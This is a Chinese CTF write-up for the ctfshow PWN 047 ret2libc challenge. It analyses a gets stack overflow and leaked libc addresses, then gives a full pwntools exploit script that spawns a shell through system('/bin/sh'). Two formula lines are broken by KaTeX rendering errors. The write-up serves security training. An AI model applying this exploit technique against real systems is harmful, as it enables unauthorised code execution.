本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在前面的 Ret2Libc 挑战中,我们必须自己构造 ROP 链来泄露 puts 或 write 的真实地址。这是一个繁琐的过程:溢出 -> 泄露 -> 返回 Main -> 再次溢出 -> Get Shell。
来到 PWN 047,出题人仿佛开启了"上帝模式",直接在程序运行之初就把一堆关键地址打印了出来。我们需要做的不再是"寻找秘密",而是"利用秘密"。
pwn 047 免费的午餐:利用已泄露地址
题目信息与环境侦察
题目描述
pwn47:
ez ret2libc
解题过程: 首先使用 checksec 检查程序保护情况。

- Arch : i386-32-little (32位程序)
- RELRO : Partial RELRO
- Stack : No canary found (无栈哨兵)
- NX : NX enabled (栈不可执行)
- PIE : No PIE (程序地址固定)
第一部分:代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("Give you some useful addr:\n");
// [关键]:程序直接泄露了 libc 函数的真实地址
printf("puts: %p\n", &puts);
printf("fflush %p\n", &fflush);
printf("read: %p\n", &read);
printf("write: %p\n", &write);
// [关键]:程序泄露了一个 gift 地址
printf("gift: %p\n", useful);
putchar(10);
ctfshow();
return 0;
}
漏洞函数 ctfshow:

int ctfshow()
{
char s[152]; // [esp+Ch] [ebp-9Ch] BYREF
puts("Start your show time: ");
// [漏洞点]:gets 存在栈溢出
gets(s);
return puts(s);
}
Useful 变量: 查看 IDA 中的 .data 段:

.data:0804B028 useful db '/bin/sh',0
这个 useful 变量(即 gift)指向的就是我们梦寐以求的字符串 "/bin/sh"。
2. 攻击思路 (详细解析)
这是一道"开卷考试"版的 Ret2Libc。由于 ASLR (地址空间布局随机化) 的存在,Libc 库在内存中的加载基址每次都是随机的。但是,程序直接打印出了 puts 函数在当前内存中的真实地址,这就相当于直接告诉了我们 ASLR 的随机偏移量。
我们的攻击分为三个步骤:
第一步:获取情报 (Information Gathering)
程序启动后会输出类似 puts: 0xf7e0c990 和 gift: 0x0804b028 的文本。
puts_real_addr:这是破解 ASLR 的钥匙。bin_sh_addr(gift) :这是system函数需要的参数。
第二步:计算坐标 (Address Calculation)
虽然 Libc 加载地址是随机的,但 Libc 文件内部,各个函数之间的**相对距离(偏移量)**是固定的。 我们可以利用已知的 puts 地址,反推 Libc 的基址,再正推 system 的地址。
- 计算 Libc 基址 : KaTeX parse error: Expected 'EOF', got '_' at position 12: \text{Libc_̲Base} = \text{p...
- 计算 System 地址 : KaTeX parse error: Expected 'EOF', got '_' at position 14: \text{System_̲Addr} = \text{L...
第三步:构造核弹 (Payload Construction)
目标是调用 system("/bin/sh")。我们需要利用 gets 函数的栈溢出漏洞,覆盖 ctfshow 函数的返回地址。
-
偏移量确认 : IDA 显示
s位于ebp-0x9C(即 156 字节)。 要覆盖到返回地址 (Return Address),需要填充的长度 =156 (Buffer)+4 (Old EBP)= 160 字节。 -
栈帧结构 (Stack Layout) : 在 32 位系统中,函数调用栈结构为
函数地址 + 返回地址 + 参数1 + 参数2 ...。[ 填充数据 (Padding) ] <-- 160 个 'a' --------------------- [ System 函数地址 ] <-- 覆盖原来的 Ret Addr,程序返回时跳转到这里 --------------------- [ 伪造的返回地址 ] <-- System 执行完后跳去哪 (不重要,填 0xdeadbeef) --------------------- [ /bin/sh 字符串地址 ] <-- System 的第一个参数 (利用题目给的 gift)
第二部分:实战操作与 Payload 构造
1. 解析地址
我们需要编写脚本,从程序的输出中提取十六进制字符串,并转换为整数。 程序输出格式:puts: 0xf7e0c990 可以使用 recvuntil 配合 eval() 或 int(..., 16) 来处理。
2. 完整 EXP 脚本
本脚本包含了本地调试 (手动加载 Libc)和远程攻击(LibcSearcher)两种模式的兼容写法。
from pwn import *
from LibcSearcher import *
# 1. 基础配置
context.log_level = 'debug'
context.arch = 'i386'
# 2. 建立连接
# [本地调试]
io = process('./pwn')
# [远程攻击]
# io = remote('pwn.challenge.ctf.show', 28200)
elf = ELF('./pwn')
# ==================== 第一步:接收程序赠送的地址 ====================
# 接收 "puts: "
io.recvuntil(b"puts: ")
# 读取后面的地址字符串 (直到换行符),并转换为整数
# drop=True 表示不包含结尾的 \n
puts_addr_str = io.recvuntil(b"\n", drop=True)
# eval 可以将 "0xf7..." 字符串直接转为整数,也可以用 int(str, 16)
puts_real_addr = eval(puts_addr_str)
log.success(f"Leaked puts: {hex(puts_real_addr)}")
# 跳过中间的 fflush, read, write,直接读取 gift
io.recvuntil(b"gift: ")
gift_addr_str = io.recvuntil(b"\n", drop=True)
bin_sh_addr = eval(gift_addr_str)
log.success(f"Gift (/bin/sh): {hex(bin_sh_addr)}")
# ==================== 第二步:计算 System 地址 ====================
# [本地调试模式]
# 使用 ldd ./pwn 查看本地 libc 路径
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_real_addr - libc.sym['puts']
system_addr = libc.sym['system']
# [远程攻击模式] (打靶场时取消注释,注释掉上面的本地模式)
# libc_search = LibcSearcher('puts', puts_real_addr)
# libc_base = puts_real_addr - libc_search.dump('puts')
# system_addr = libc_base + libc_search.dump('system')
log.success(f"System: {hex(system_addr)}")
# ==================== 第三步:发送 Payload ====================
# 偏移量 0x9C (156) + 4 = 160
offset = 160
# 32位 ROP 结构: Padding + 函数 + 返回地址 + 参数
payload = flat([
b'a' * offset,
system_addr, # 调用 system
0xdeadbeef, # system 返回地址 (随意填,因为拿到 shell 后不需要返回)
bin_sh_addr # 参数: /bin/sh (直接用题目给的 gift 地址)
])
# 程序之后会调用 ctfshow -> gets,此时发送 payload
# 注意:前面有很多 print,程序可能还没有执行到 gets
# 我们可以先 recvuntil("Start your show time: ") 确保同步
io.recvuntil(b"Start your show time: \n")
io.sendline(payload)
io.interactive()

总结:PWN 047 的核心逻辑
| 维度 | 常规 Ret2Libc | PWN 047 (Gift) |
|---|---|---|
| 地址泄露 | 需要构造 ROP 链 (puts(got)) |
程序直接打印 (printf) |
| 交互次数 | 两次(泄露后重启程序) | 一次(直接利用泄露信息) |
| 难度 | 中等 | 简单 (考察信息提取能力) |
核心启示 : 这道题模拟了某些程序开启了 Debug 模式或者日志记录功能,意外泄露了内存地址的场景。对于攻击者来说,信息收集 是利用的第一步。既然题目给了地址,我们就不需要再去构造复杂的泄露链,直接利用这些"透视"信息,算出 system 一波带走即可。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。